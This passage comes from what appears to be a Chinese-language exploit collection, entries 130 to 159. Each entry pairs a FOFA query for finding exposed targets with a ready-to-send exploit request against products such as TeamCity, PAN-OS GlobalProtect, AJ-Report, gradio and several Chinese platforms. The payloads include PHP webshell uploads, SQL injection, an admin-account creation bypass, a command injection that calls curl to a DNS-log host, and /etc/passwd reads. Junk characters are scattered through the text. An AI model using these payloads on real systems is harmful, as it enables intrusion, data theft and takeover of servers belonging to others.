User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
$ n; o8 C# m4 j7 oAccept: */*
/ @7 K0 @% Y2 v, N$ tAccept-Encoding: gzip, deflate
' o" X8 B5 `" z; zConnection: close
' J4 c! I# e' w7 a1 {( @uuid: 85f60018-a654-4410-a783-f81cbd5000b9


130. Laykefu客服系统任意文件上传
, k* a0 ~2 B7 P( g, D" O3 FFOFA：icon_hash="-334624619"
# Z: x/ A- E3 B3 JPOST /admin/users/upavatar.html HTTP/1.1
; _5 q8 d: f6 @6 z9 k2 B( g$ _- a8 G6 hHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
/ |4 i0 G% Q( P3 b$ \X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
  V' m% F) u& xContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
4 @) y$ `/ \; QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 |5 G' D7 J6 X7 B: o" q' RCookie: user_name=1; user_id=3
Connection: close
( }& I7 T! Z8 O- x3 b" k( c7 a- C# \
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
4 j1 S+ G; x/ C6 f, Q8 j9 q$ ^
9 f" G. z5 {; b7 u7 C! C. h' U* c. d<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
+ K: a& U  k) }. G9 L- W

131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
6 r: T7 X8 C, _. p/ C; ohttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

! r4 K, g- ?2 M8 B4 X0 ^132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
! \: o0 x  g" O5 lFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
8 m5 D- ?1 z' J8 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
2 k( P2 i0 @) w- }Content-Type: application/json
: r8 ]6 T5 N7 fAccept-Encoding: gzip, deflate
* F% V5 [8 _, m, q
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
3 @7 J$ V* K& D7 @/ G  G
! m  w- g" \0 o8 I+ `
CVE-2024-27199
0 u/ ^' _8 t) G3 f/res/../admin/diagnostic.jsp
8 Q% R$ ?7 b# O6 E7 d. p/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
+ ^% S! Y5 G. l: u$ l9 W

# q* h$ ?) `1 E( V0 \# ECVE-2024-27198-RCE.py
$ m0 F  `' h+ `3 ?4 I7 y, v$ }
0 h6 [7 d5 h7 b& R) p; e7 p133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
: t) b3 @" E  }( y+ g, OPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
: Y& i* @+ \% \! \) E3 BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
# o8 ]0 e' I0 ?# Z2 W' X& j) C+ M6 }Content-Type: application/octet-stream

6 y. ?  Q( y1 \- W<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
. x. y/ C1 ?7 L% z: G1 q
2 K7 C5 R* k. I1 V/ {" `

" e  }; D  ?# E3 W+ M$ u8 \134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
* F- N% A. u" I, b% rNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
( p# Z1 ^8 b) V9 T. yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
' J' S9 m3 N  H9 f& b. R' eAccept: */*
+ A. W0 C4 A$ T  y  X2 x, \, JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
# u+ J% a- l  {9 O: m/ X  @* VSec-Fetch-Mode: cors
7 y# B/ W8 ^4 i# P6 qSec-Fetch-Site: same-origin
; a+ Y+ I" }' \: D. v2 ?, bTe: trailers
) M8 Z* E: l% v4 C4 d8 SConnection: close
Content-Type: application/x-www-form-urlencoded
* Z% `. r% r5 b' n/ PContent-Length: 263
2 [9 H/ \5 H/ K' {0 C% [: M8 R
3 F6 A5 L: z1 Z3 Ejsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

- E9 s* Q! G( y4 Y) q. N! L3 R- O
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
$ j& |" _: i0 X5 t) D# \2 s2 oFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
% k. W- h" H2 e: D- b0 v2 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
' s7 ?! W1 P& s' `5 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 z5 s7 a* J( D& E8 l# M4 ~! p' V; rAccept-Language: zh-CN,zh;q=0.9
  w" R9 g8 w! BConnection: close

7 f4 l; {3 B, \2 T3 A4 X
136. NextChat cors SSRF
5 _: M! j  k8 k4 YCVE-2023-49785
% U* F7 v" T$ I# p: lFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
' U, c7 R( `$ o5 {& BHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 p6 q3 V- A, j9 u- E6 I3 x* fConnection: close
Accept: */*
/ R: j& q- t6 m& aAccept-Language: en
5 d- H2 W9 ]+ fAccept-Encoding: gzip

( }: j! u  i8 T, t5 E1 I
137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
& {' S" f; n/ e( `4 }. I+ KFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
) H* E2 l6 _; kHost: x.x.x.x
$ x1 a) K# \( p' n8 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
  F9 \- q8 D6 _: E& r( q$ q+ G! m  aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ e/ W( O$ w8 b; s& \% n2 W- K2 QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
6 u7 u9 P# L0 n& l) W* wConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
" H: H5 J' m! `; IUpgrade-Insecure-Requests: 1
* x% L% H+ B# b: W

+ O( W, o) Y  o! u: A138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
- {  ~$ i7 s4 r2 @' QGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
: l7 g5 R0 R' B* N$ SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
' G+ U) j6 a3 |# ?. @Connection: close
) |' D- m. I- n5 o+ K( A1 [8 A5 eUpgrade-Insecure-Requests: 1


5 ^) U  Y4 p  @. l139. 福建科立讯通信指挥调度平台editemedia.php sql注入
4 H5 j* I  J0 r( U. O% t. n, BCVE-2024-2622
, s5 a/ v# J* B) a8 VFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
4 p7 z8 D1 K# Z6 U2 m# LGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
: F4 f# }2 I, Y9 H9 zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 w/ G; J7 g8 N* o: g" mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
9 c% x6 ^$ g6 [& U5 L( B/ lUpgrade-Insecure-Requests: 1
" x4 ^3 \! V$ O5 A! i6 Q
5 c# n+ Z4 v2 M) x2 m) ?: O3 `
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
$ e8 h7 p2 h+ D- oGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
$ j( v1 C7 |( \6 ZHost: x.x.x.x
, f4 Z  \% Y0 F- {, o5 V* uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 C- n9 j* s' n  Z# e5 q; aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 w. l$ e$ B7 ]% o+ }8 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ n) F; Y, Z/ F. h' _Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
+ E5 j2 k( y2 b: h$ T4 oUpgrade-Insecure-Requests: 1
' q; v1 \+ d' a# L/ y- ~

# d6 n1 |, N% p5 v( a141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
* ^5 y4 j- ]0 n/ X: p* {! wFOFA：body="指挥调度管理平台"
% @: b# B# b$ u" T& j# F+ e5 }+ DPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
. H9 W. Q4 f6 u7 H5 u3 XUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
- V8 m6 E( [5 T6 M# g' ~4 PContent-Type: application/x-www-form-urlencoded


' @0 u; ^0 ]  c( `* Zdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
, c1 }% `: K" w6 ]
7 v3 s$ L1 v0 t1 x2 d' y5 n+ M  ]1 a& `
142. CMSV6车辆监控平台系统中存在弱密码
( s" ^  g+ j: I- X( e- T1 W7 s5 ICVE-2024-29666
, ^& Y. A  k& ^! E; C# [FOFA：body="/808gps/"
4 O% T) ~! J* A# O) U9 ^: Dadmin/admin
0 r0 z; r  y7 c- p+ I143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
* J' y( j# a8 s6 |; V  X) w
! ]5 K) R2 M4 H144. D-Link nas_sharing.cgi 命令注入
$ W. k0 T% M  X. BFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
' k+ R1 ^2 a; `9 K/ P" T, r# AUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
, e% u4 u6 m% }$ j. Z& HAccept: */*
Accept-Language: en
: g$ Z5 m; [0 M7 _! L8 dAccept-Encoding: gzip
, `+ g3 D! n3 i7 F

145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
1 Y" Z$ h0 x8 Q. \6 |( S, @$ ZHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
! d" l; f) _7 ^- c" C9 s" ZAccept-Encoding: gzip
- W6 p9 B1 `1 f3 v4 y* g! w

) \7 G' z" G% o. `# ]: E146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
6 a* ]& I# P- _9 fFOFA：app="MajordomoSL"
+ n. M. }! o! \" l0 l8 NGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
4 i( d) G' \" v, i# D4 S- Y3 THost: x.x.x.x
7 S  ^7 o% O7 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
9 T7 Y  ]+ }, Y& @4 q  }5 e5 cAccept-Encoding: gzip, deflate
+ \* o  y+ n" K5 P# {+ tConnection: close

0 @( w* K% k8 d. I. w; H  G8 E1 q
( t6 o: Q2 ~1 c& f* }  w+ O147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
; p  s% ]9 {" ~0 o* M6 ~Host: 127.0.0.1:81
0 H2 L5 @. |$ R% g" Z; \" |Cache-Control: max-age=0
Connection: close

2 B. X+ E0 c" s+ e
' \2 G! ^. \/ S0 M148. CrushFTP 认证绕过模板注入
" H) i: M& v4 T- LCVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
- q6 Q! J5 f$ V
149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

- h9 `  \! T6 V; Q9 |POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
: T& W: K4 `2 `' H+ l  u0 t0 S" [Host: x.x.x.x
) |* m+ H( b" Z' t' UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
6 \+ R- \2 s* u4 G5 g4 F! Z& m5 lAccept-Language: zh-CN,zh;q=0.9
  S: p) ~( Y. F/ G7 ?$ ?. TContent-Type: application/json;charset=UTF-8
4 g+ `8 m3 Z& M% W/ UConnection: close
' ?) K# ?- {) `. X% @; j0 y
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
' @, R% m$ A( h/ J2 w. `# kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 w5 ]0 M' p1 Z- xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 b' ^! j- d4 p* B2 K0 VAccept-Encoding: gzip, deflate, br
' t& X2 A; K/ P( X  x. O/ iAccept-Language: zh-CN,zh;q=0.9
( D; w, G# H) A" ?3 bContent-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

* [" p3 h, O# ~0 x0 ?$ S{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

/ {. J: z& e! t- u, `
+ j! @) L& H. A& G8 l7 I151. AJ-Report 1.4.1 pageList sql注入
( d7 \0 ^' ~' Q9 U2 CFOFA：title="AJ-Report"
5 x7 f9 L$ J8 X$ ^% L" WGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
3 V' k+ s* n/ j$ ]; k/ zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# h- s, V; f5 S) EConnection: close
Accept-Encoding: gzip
3 e' p: a. U& i( L; c% f

( d+ D) @; w3 K" r/ [, `152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
0 T% y3 `/ B3 yLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
% k% c5 f* h$ `/ B# w; J5 XJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
4 F. Z% v! ~9 x9 y9 FGET /access/set?param=enableapi&value=1 HTTP/1.1
5 x0 ~' k! B' Y( E7 ~0 X1 R$ j2 [. uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
, b8 o! B  W6 [7 J3 @Connection: close
% L' ^) N7 O2 E' h% TAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
; f" U6 J5 [6 u1 L* }
: g4 p" C1 z7 l. j/ r& O1 K2 Q  Z
4 d7 q) k1 d6 m, U% v$ B$ p2 z153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
8 ~+ t( |. S+ _8 Q3 l4 Y5 P( h
6 x4 q* V8 n. r  S: Q( H$ v
, O3 |" _  y0 x% u4 k  U7 s第二步，将/etc/passwd的内容写入到一个临时文件
. |4 j% J( q' ?7 _( g' Y4 LPOST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
" L+ {- M- ~3 z* \4 x# u0 QConnection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
1 t% t, z; L( f' n9 H; Y0 o& h+ L
) B& M2 ~' W3 e6 x5 z{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
" V  Q+ {" t0 S3 N- m/ l

第三步访问
. W( A; I+ G  ]3 m! V- Y' f, Dhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

4 J6 }. f" g' a5 q' F1 x1 A
) v# e7 |" X% n1 c154. 天维尔消防救援作战调度平台 SQL注入
9 R( a, x! ?. r- M4 V+ NCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
- f" x, ]; |" M( `4 x  T+ `POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
6 n  \6 R6 e6 c3 b4 [Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
8 z: f+ P: r  KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
. k6 [+ O7 S! Z9 w( `% PAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
# e. F4 t. {, H# b1 l- IConnection: close
3 U/ W: i. J( z  |, P! ^
. s/ o1 E$ n5 O, O6 n7 F7 I+ t{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

/ @* A) e0 S* d$ y7 s$ j
155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
* ~* \: t! p0 U- V) |! H. t, E+ C7 dFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
) v8 b& W( k  L$ e( T$ V$ v4 D0 ^Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
) ^0 A. n% L8 R/ [, |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ M! ?, e$ t. v+ d4 q: HContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
6 O6 n% B0 p7 E1 W, \% r5 t8 yX-Requested-With: XMLHttpRequest

( a: ^$ _, [. C) m5 |: v6 Y-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
9 [# i( B2 E5 W% B! H* |8 J% BContent-Type: image/png

7 h4 `4 K8 ~8 J  G<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--


$ U( R4 b5 R8 g- n1 u' k; j+ t访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
& O, E2 j/ T) S7 D
156. TBK DVR-4104/DVR-4216 操作系统命令注入
7 O/ `6 N' `  _& F5 |2 Y+ v0 gCVE-2024-3721
FOFA："Location: /login.rsp"
) O; [" K& Z/ }' k·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
1 P9 D1 x/ m- O
& s- K% S. Z# Q) E( y6 q  W
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
( [/ o" a1 t% YUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) S% I! g9 V0 \7 D" bConnection: close
8 u' }0 o) \/ Z: z, J$ T' A, B+ _Content-Length: 0
Cookie: uid=1
% m: [4 V" ^0 u8 I/ OAccept-Encoding: gzip
, h! d5 w+ E7 o+ B. z

' v9 R' s  f) p1 ]157. 美特CRM upload.jsp 任意文件上传
- v$ n2 N" N3 x. _CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
( ?3 Z- D6 d. c3 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% S: P7 U7 A$ [" M" S% xAccept-Encoding: gzip, deflate
+ d; Q* B9 U7 q  [4 XAccept-Language: zh-CN,zh;q=0.9
4 R- [# B; Z( z3 j. M/ wCache-Control: max-age=0
Connection: close
  R1 N' l+ W. O! H7 [6 T7 uContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
. B) ]* Q6 b2 p5 ^* SUpgrade-Insecure-Requests: 1
5 h0 q% j# C6 C8 w  P4 H
$ C1 x6 ]; m) E7 |' B------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

- G+ |# a/ g+ c- G3 }9 H: e" ^nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
) i! J( X) h" ]5 E" KContent-Disposition: form-data; name="key"

null
; Z' `6 r6 h; |9 j1 q" F) y' L------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
7 R7 N* ~7 y: K+ m. @! P: X
6 y) |; o4 y1 k. a9 `' X: {" Enull
6 c! f4 F3 l* G9 V/ h4 y3 p------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

1 l. j! g& F0 J8 cnull
------WebKitFormBoundary1imovELzPsfzp5dN
2 X9 L/ [; R, x0 \Content-Disposition: form-data; name="filefolder"
% f3 z1 W3 [( a& \0 n8 J$ `2 a+ Z" b
null
------WebKitFormBoundary1imovELzPsfzp5dN--
: U& l5 u$ g9 O. E0 D4 q

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

3 Y9 s" a( ~" `* |5 J% R) n158. Mura-CMS-processAsyncObject存在SQL注入
9 N6 m7 t2 f4 K5 ?7 V6 JCVE-2024-32640
( x% f% k- j4 }+ p2 J$ kFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
7 x6 k# R, h1 t" w$ f: l+ K- P* QHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

6 l0 E$ w2 l, N2 f( ]/ uobject=displayregion&contenthistid=x\'&previewid=1
/ ?  j8 x5 O9 E" I
7 d8 z# c7 v0 X
* O" Q; i. @" d2 q- ^8 T+ M159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
/ R: v7 B! x- y8 g" Y( GFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
' K: F0 `0 l- v2 P! X+ L8 ePOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
% t8 H/ ^& A7 b5 s# UContent-Length: 1080
; [" ~2 n4 r, KAccept-Encoding: gzip, deflate
( [2 |- r( Q& K( G# i. E( gConnection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
# }: F' l: w: ~* k
<?xml version="1.0" encoding="utf-8"?>
, G' U6 v4 w* t: I; ~$ w<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
